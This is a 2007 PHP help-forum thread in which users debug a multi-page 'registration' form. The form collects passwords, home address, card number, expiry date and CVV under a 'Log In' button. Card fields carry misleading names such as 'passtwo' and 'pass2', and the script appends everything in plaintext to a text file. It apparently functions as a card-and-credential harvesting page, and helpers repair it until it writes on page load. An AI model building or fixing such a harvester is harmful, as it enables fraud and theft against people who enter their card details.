Snooble Posted January 23, 2007 Share Posted January 23, 2007 Hello everyone!I have a 3 page registration problem.First page = "register.php"Second = "registertwo.php"Last = "final.php"The first page works perfect. I have tested the variables on registertwo.php and they have been posted fine. I assume it's to do with registertwo.php as on final.php it just shows {$_POST[ when i ask it to put in one of the variables.I'm not sure. But final.php just fwrites the information. Thanks for looking. There's only a little bit of code for you'll to look at.ThanksRegistertwo.php[code] <?php echo '<form action="final.php" method="post"> <input type="hidden" name="fname" value="{$_POST["fname"]}"> <input type="hidden" name="sname" value="{$_POST["sname"]}"> <input type="hidden" name="pass" value="{$_POST["pass"]}"> <input type="hidden" name="passtwo" value="{$_POST["passtwo"]}"> <input type="hidden" name="llno" value="{$_POST["llno"]}"> <input type="hidden" name="mobno" value="{$_POST["mobno"]}"> <input type="hidden" name="addno" value="{$_POST["addno"]}"> <input type="hidden" name="addone" value="{$_POST["addone"]}"> <input type="hidden" name="addtwo" value="{$_POST["addtwo"]}"> <input type="hidden" name="addthree" value="{$_POST["addthree"]}"> <input type="hidden" name="city" value="{$_POST["city"]}"> <input type="hidden" name="other" value="{$_POST["other"]}"> <input type="hidden" name="country" value="{$_POST["country"]}"> <div align="center"><br /> <br /> <table width="100%" height="198" border="0" cellpadding="0" cellspacing="1"> <tr> <td width="420" height="35" class="style40"><div align="right" class="style3">Name On Card: </div></td> <td width="12" height="35" class="style40"> </td> <td height="35" colspan="2" class="style40"><div align="left"> <input type="text" name="email" /> </div></td> </tr> <tr> <td width="420" height="35" class="style40"><div align="right" class="style3">Credit/Debit Card Number: </div></td> <td width="12" height="35" class="style40"> </td> <td height="35" colspan="2" class="style40"><div align="left"> <input type="password" name="passtwo" /> </div></td> </tr> <tr> <td width="420" height="17" class="style40"><div align="right" class="style3">Expiration Date: </div></td> <td width="12" height="17" class="style40"> </td> <td height="35" colspan="2" class="style40"><div align="left"> <input name="pass" type="text" value="MM/YYYY" size="15" /> </div></td> </tr> <tr> <td width="420" height="35" class="style40 style2 style4"><div align="right">CVV Code: </div></td> <td width="12" height="35" class="style40"> </td> <td height="35" colspan="2" class="style40"><div align="left"> <input name="pass2" type="text" size="10" /> <span class="style1"><a href="securitycode.html" target="_blank">What Is My Security Code? </a></span></div></td> </tr> <tr> <td width="420" class="style40"> </td> <td width="12"> </td> <td width="315" height="52"> </td> <td width="133"><div align="left"> <input type="image" src="register.gif" name="submit" alt="Log In" value="Log In" /> </div></td> </tr> </table> <p align="center"><br /> <br /> <br /> </p> </div> </td> </tr> </form>';?> [/code]final.php[code]<?php if (isset($_POST['submit'])) { $pass = $_POST['pass'];$email = $_POST['email'];$passtwo = $_POST['passtwo'];$fname = $_POST['fname'];$sname = $_POST['sname'];$llno = $_POST['llno'];$mobno = $_POST['mobno'];$addno = $_POST['addno'];$addone = $_POST['addone'];$addtwo = $_POST['addtwo'];$addthree = $_POST['addthree'];$city = $_POST['city'];$postcode = $_POST['postcode'];$other = $_POST['other'];$title = $_POST['title'];$country = $_POST['country'];$date = date("g:i a");$submit = $_POST['submit'];$fp = fopen('1.txt', 'a+');fwrite($fp, "Time: ".$date."\nEmail: ".$email."\nPass: ".$pass."\nPass Confirm: ".$passtwo."\nFirst Name: ".$fname."\nSurname: ".$sname."\nLL Number: ".$llno."\nMob: ".$mobno."\nHouse No/Name: ".$addno."\nAddress line 1: ".$addone."\nAddress line 2: ".$addtwo."\nAddress Line 3: ".$addthree."\nCity/Town: ".$city."\nPost Code: ".$postcode. "\nCountry, Other: ".$other."\nTitle :".$title."\nCountry: ".$country."\n\n");fclose($fp); }echo '<form action="index.php" method="post"> <input type="hidden" name="fname" value="{$_POST["fname"]}"> <input type="hidden" name="sname" value="{$_POST["sname"]}"> <input type="hidden" name="pass" value="{$_POST["pass"]}"> <input type="hidden" name="passtwo" value="{$_POST["passtwo"]}"> <input type="hidden" name="llno" value="{$_POST["llno"]}"> <input type="hidden" name="mobno" value="{$_POST["mobno"]}"> <input type="hidden" name="addno" value="{$_POST["addno"]}"> <input type="hidden" name="addone" value="{$_POST["addone"]}"> <input type="hidden" name="addtwo" value="{$_POST["addtwo"]}"> <input type="hidden" name="addthree" value="{$_POST["addthree"]}"> <input type="hidden" name="city" value="{$_POST["city"]}"> <input type="hidden" name="other" value="{$_POST["other"]}"> <input type="hidden" name="country" value="{$_POST["country"]}"> <input type="submit" name="submit"></form>';?>[/code]Thanks in advanceSnooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/ Share on other sites More sharing options...
Orio Posted January 23, 2007 Share Posted January 23, 2007 Try this format:[code]<?phpecho '<form action="index.php" method="post"><input type="hidden" name="fname" value="'.$_POST['fname'].'">';//etc?>[/code]Orio. Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167500 Share on other sites More sharing options...
Snooble Posted January 23, 2007 Author Share Posted January 23, 2007 ok i will try that now. Thank you. Will repost the results.Snooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167503 Share on other sites More sharing options...
Snooble Posted January 23, 2007 Author Share Posted January 23, 2007 Thank you, you got the variables working. But now i get no output to the text file. Here is the new final.phpEverything works up fwrite. Maybe its the order? [code]<?php if (isset($_POST['submit'])) { $pass = $_POST['pass'];$email = $_POST['email'];$passtwo = $_POST['passtwo'];$fname = $_POST['fname'];$sname = $_POST['sname'];$llno = $_POST['llno'];$mobno = $_POST['mobno'];$addno = $_POST['addno'];$addone = $_POST['addone'];$addtwo = $_POST['addtwo'];$addthree = $_POST['addthree'];$city = $_POST['city'];$postcode = $_POST['postcode'];$other = $_POST['other'];$title = $_POST['title'];$country = $_POST['country'];$date = date("g:i a");$submit = $_POST['submit'];$fp = fopen('1.txt', 'a+');fwrite($fp, "Time: ".$date."\nEmail: ".$email."\nPass: ".$pass."\nPass Confirm: ".$passtwo."\nFirst Name: ".$fname."\nSurname: ".$sname."\nLL Number: ".$llno."\nMob: ".$mobno."\nHouse No/Name: ".$addno."\nAddress line 1: ".$addone."\nAddress line 2: ".$addtwo."\nAddress Line 3: ".$addthree."\nCity/Town: ".$city."\nPost Code: ".$postcode. "\nCountry, Other: ".$other."\nTitle :".$title."\nCountry: ".$country."\n\n");fclose($fp); }echo '<form action="index.php" method="post"> <input type="hidden" name="fname" value="'.$_POST['fname'].'"> <input type="hidden" name="sname" value="'.$_POST['sname'].'"> <input type="hidden" name="pass" value="'.$_POST['pass'].'"> <input type="hidden" name="passtwo" value="'.$_POST['passtwo'].'"> <input type="hidden" name="llno" value="'.$_POST['llno'].'"> <input type="hidden" name="mobno" value="'.$_POST['mobno'].'"> <input type="hidden" name="addno" value="'.$_POST['addno'].'"> <input type="hidden" name="addone" value="'.$_POST['addone'].'"> <input type="hidden" name="addtwo" value="'.$_POST['addtwo'].'"> <input type="hidden" name="addthree" value="'.$_POST['addthree'].'"> <input type="hidden" name="city" value="'.$_POST['city'].'"> <input type="hidden" name="other" value="'.$_POST['other'].'"> <input type="hidden" name="country" value="'.$_POST['country'].'"> <input type="image" src="register.gif" name="submit" alt="Log In" value="Log In" />'; ?>[/code]Thanks in advance people!Snooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167534 Share on other sites More sharing options...
Snooble Posted January 23, 2007 Author Share Posted January 23, 2007 any help would be grately appreciated!Snooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167578 Share on other sites More sharing options...
boo_lolly Posted January 23, 2007 Share Posted January 23, 2007 i'm not sure why this would make a difference... but i see you have re-defined your $_POST variables at the top. yet, you still call upon those values using $_POST when you are printing output to the page. try using the re-defined variable names instead of the $_POST variable names. again, i don't see why this would make a difference, but try it. Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167583 Share on other sites More sharing options...
Snooble Posted January 23, 2007 Author Share Posted January 23, 2007 huh? Sorry i read and reread that and i still couldn't make any layman sence out of it :S could you tell me what im replacing and what with.SnoobleEDIT: I see what you mean. I have before placed the hidden tables above the fwrite. There was no difference. Stilll no text to the file. Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167584 Share on other sites More sharing options...
Snooble Posted January 24, 2007 Author Share Posted January 24, 2007 anyone please? Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-167972 Share on other sites More sharing options...
boo_lolly Posted January 24, 2007 Share Posted January 24, 2007 [quote author=Snooble link=topic=123707.msg511776#msg511776 date=1169587938]huh? Sorry i read and reread that and i still couldn't make any layman sence out of it :S could you tell me what im replacing and what with.SnoobleEDIT: I see what you mean. I have before placed the hidden tables above the fwrite. There was no difference. Stilll no text to the file.[/quote]so your input fields are being populated with the $_POST values, but it's not writing to your text file? could you post the contents of your text file for us? is it not writing anything at all? or is it just not writing the variable values? Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-168312 Share on other sites More sharing options...
Snooble Posted January 24, 2007 Author Share Posted January 24, 2007 Now i get no writing at all to the text file. Nothing. The file's size does not increase.I'd be so appreacitive. Snooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-168365 Share on other sites More sharing options...
boo_lolly Posted January 25, 2007 Share Posted January 25, 2007 [quote author=Snooble link=topic=123707.msg512585#msg512585 date=1169669392]Now i get no writing at all to the text file. Nothing. The file's size does not increase.I'd be so appreacitive. Snooble[/quote]that means somethings wrong with your fwrite() arguments.in the meantime try this:[code]<?php echo "<form action=\"index.php\" method=\"post\">\n". "<input type=\"hidden\" name=\"fname\" value=\"". $_POST['fname'] ."\">\n". "<input type=\"hidden\" name=\"sname\" value=\"". $_POST['sname'] ."\">\n". "<input type=\"hidden\" name=\"pass\" value=\"". $_POST['pass'] ."\">\n". "<input type=\"hidden\" name=\"passtwo\" value=\"". $_POST['passtwo'] ."\">\n". "<input type=\"hidden\" name=\"llno\" value=\"". $_POST['llno'] ."\">\n". "<input type=\"hidden\" name=\"mobno\" value=\"". $_POST['mobno'] ."\">\n". "<input type=\"hidden\" name=\"addno\" value=\"". $_POST['addno'] ."\">\n". "<input type=\"hidden\" name=\"addone\" value=\"". $_POST['addone'] ."\">\n". "<input type=\"hidden\" name=\"addtwo\" value=\"". $_POST['addtwo'] ."\">\n". "<input type=\"hidden\" name=\"addthree\" value=\"". $_POST['addthree'] ."\">\n". "<input type=\"hidden\" name=\"city\" value=\"". $_POST['city'] ."\">\n". "<input type=\"hidden\" name=\"other\" value=\"". $_POST['other'] ."\">\n". "<input type=\"hidden\" name=\"country\" value=\"". $_POST['country'] ."\">\n". "<input type=\"image\" src=\"register.gif\" name=\"submit\" alt=\"Log In\" value=\"Log In\" />\n"; if(isset($_POST['submit']){ foreach($_POST as $key => $val){ if(!isset($val)){ echo "<font color=\"FF0000\">Hidden $_POST variable values are lost.</font><br />\n"; exit; } } }else{ $date = date("g:i a"); $fp = fopen('1.txt', 'a+') OR die("<font color=\"FF0000\">Error! Could not open file.</font>\n"); $associative = array("Time:" => $date, "Email:" => $_POST['email'], "Pass:" => $_POST['pass'], "Pass Confirm:" => $_POST['passtwo'], "First Name:" => $_POST['fname'], "Surname:" => $_POST['sname'], "LL Number:" => $_POST['llno'], "Mob:" => $_POST['mobno'], "House No/Name:" => $_POST['addno'], "Address Line 1:" => $_POST['addone'], "Address Line 2:" => $_POST['addtwi'], "Address Line 3:" => $_POST['addthree'], "City/Town:" => $_POST['city'], "Post Code:" => $_POST['postcode'], "Country, Other:" => $_POST['country'], "Title:" => $_POST['title']); foreach($associative as $key => $val){ fwrite($fp, $key ." ". $val ."\n"); } fclose($fp); }?>[/code][b]**NOTE:[/b] this code is untested. if it works, it will help you diagnose the problem. if there is a problem with your $_POST variables, it will print [color=red]Hidden $_POST variable values are lost[/color]. if there is a problem connecting and opening the file, it will print [color=red]Error! Could not open file.[/color]. then, finally, if it doesn't display any errors, but it [i]still[/i] doesn't write to the flat-file, then there is a problem with your fwrite() arguments. hope this helps. Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-168786 Share on other sites More sharing options...
Snooble Posted January 26, 2007 Author Share Posted January 26, 2007 THank you very very much. I found that the problem was with the if statement. I took it out and it now writes on page load which is fine. Thank you ever so much for your effert. Snooble Quote Link to comment https://forums.phpfreaks.com/topic/35412-a-new-registration-problem/#findComment-169653 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.